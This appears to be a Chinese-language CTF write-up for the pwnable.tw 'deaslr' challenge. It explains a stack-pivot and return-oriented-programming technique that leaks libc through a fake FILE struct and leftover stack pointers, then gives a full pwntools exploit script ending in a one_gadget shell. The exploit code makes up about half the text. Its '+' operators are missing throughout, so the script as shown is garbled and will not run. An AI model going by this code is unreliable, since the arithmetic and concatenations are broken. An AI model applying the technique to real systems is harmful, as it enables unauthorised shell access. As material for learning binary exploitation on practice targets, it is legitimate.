分析
题目只给了一个gets栈溢出,got开了全保护不能修改。按照题意对付aslr的话,爆破几率太渺茫了。应该要结合call reg
以及栈残留指针来构造rop。
思路
_libc_csu_init
里面有这么一条gadget:call qword ptr [r12 rbx*8]
。这意味着如果能够控制r12为一个libc地址,rbx为某个函数offset/8
的话,就可以调用这个函数。- 由于
gets
在调用时会在栈低地址留下_IO_2_1_stdin
的地址,我们可以利用这个地址加上一定偏移去调用__IO_file_write
来泄露地址。__IO_file_write
函数与write
函数的区别在于,第一个参数变成了一个文件结构体。为了成功利用,这个结构体中只需要保证fileno==1
和flag2==2
就能成功调用(非常理想)。 - 为了利用栈残留信息,需要把栈迁移到bss这种地址固定并可控的段来操作。在此之前还要先向bss中不会受到调用栈影响的区域提前写好
fake_file
。 - 迁移到bss上需要先执行一次gets让
bss
中残留下libc地址
信息。然后再往远处迁移栈,避免利用时破坏残留在栈上的指针。迁移到远处后需要计算好残留指针的地址,往这个地址的上下填充其它值——因为gadget的限制,往往需要一次pop很多寄存器,而需要让残留指针放在r12
寄存器里面就得把其它寄存器也构造好。其它寄存器涉及到传参以及分支跳转——注意让rbp=rbx 1
防止跳转。 - 最终构造完在
call reg
之前应该保证:RDI
为fake_file
地址RSI
为gets的got表地址RDX
为输出长度RBX
为(__IO_file_write
-残留指针
)/8 (注意残留指针不一定是_IO_2_1_stdin
,因为gets在写的时候末位会有x00截断覆盖掉_IO_2_1_stdin
低位)R12
为残留指针EBP
为rbx 1
- 泄露完地址走一次
one_gadget
就可以getshell了
EXP
代码语言:javascript复制from pwn import *
#p = process("./deaslr", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10402)
elf = ELF("./deaslr")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"
# addr
main_addr = 0x400536
gets_plt = elf.symbols[b"gets"]
gets_got = elf.got[b"gets"]
bss_addr = 0x601010
data_addr = 0x601000
# gadget
pop_rbp_ret = 0x4004a0
leave_ret = 0x400554
ret = 0x4003f9
pop_rdi_ret = 0x4005c3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba
pop_r12_r13_r14_r15_ret = 0x4005bc
pop_rsp_r13_r14_r15_ret = 0x4005bd
call_r12_plus_rbx_mul_8 = 0x4005a9
set_args_and_call = call_r12_plus_rbx_mul_8 - 0x9
mveax0_leave_ret = 0x40054f
# struct
fake_file = b"x00"*0x70 p64(1) p64(2) # fileno flag
fake_file = fake_file.ljust(0xe0, b"x00")
def exp():
#gdb.attach(p, "b *0x40054fncn")
# write fake_file to bss
fake_file_addr = bss_addr 0x100
payload1 = b"a"*0x18 p64(pop_rdi_ret) p64(fake_file_addr) p64(gets_plt) p64(main_addr)
p.sendline(payload1)
p.sendline(fake_file)
# Migrate stack to bss (to control stack_val)
target_stack = bss_addr 0x200
payload2 = b"a"*0x10 p64(target_stack) p64(pop_rdi_ret) p64(target_stack) p64(gets_plt)
payload2 = p64(leave_ret)
p.sendline(payload2)
# write target_stack
target_stack_2 = bss_addr 0x400
payload3 = p64(0xdeadbeef) #new rbp
payload3 = p64(pop_rdi_ret) # get(target_stack_2)
payload3 = p64(target_stack_2) #arg
payload3 = p64(gets_plt)
payload3 = p64(pop_rsp_r13_r14_r15_ret) # move to stack_2
payload3 = p64(target_stack_2)
p.sendline(payload3)
# set target_stack_2
payload4 = p64(0)*3
payload4 = p64(pop_rdi_ret)
payload4 = p64(target_stack-0x30-0x30)
payload4 = p64(gets_plt) # set stack low
payload4 = p64(pop_rdi_ret)
payload4 = p64(target_stack-0x30 0x8)
payload4 = p64(gets_plt) # set stack high
payload4 = p64(pop_rsp_r13_r14_r15_ret)
payload4 = p64(target_stack-0x30-0x30)
p.sendline(payload4)
## low
low = p64(0)*3 p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
low = p64(0xfffffffffffffdeb) #rbx
low = p64(0xfffffffffffffdeb 1) #rbp
p.sendline(low)
## high
high = p64(0x100) #r13 -> rdx
high = p64(gets_got) #r14 -> rsi
high = p64(fake_file_addr) #r15 -> edi
high = p64(set_args_and_call)
high = b"a"*0x38
high = p64(main_addr)
p.sendline(high)
# get leak addr
puts_addr = u64(p.recv(8))
libc_base = puts_addr - libc.symbols[b"gets"]
system = libc_base libc.symbols[b"system"]
binsh = libc_base next(libc.search(b"/bin/sh"))
one = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc_base one[0]
print("puts_addr:", hex(puts_addr))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("binsh:", hex(binsh))
print("one_gadget:", hex(one_gadget))
## get shell
#payload5 = b"a"*0x18 p64(pop_rdi_ret) p64(binsh) p64(ret)*8 p64(system) p64(main_addr)
payload5 = b"a"*0x18 p64(one_gadget) # set eax=0
p.sendline(payload5)
p.interactive()
if __name__ == "__main__":
exp()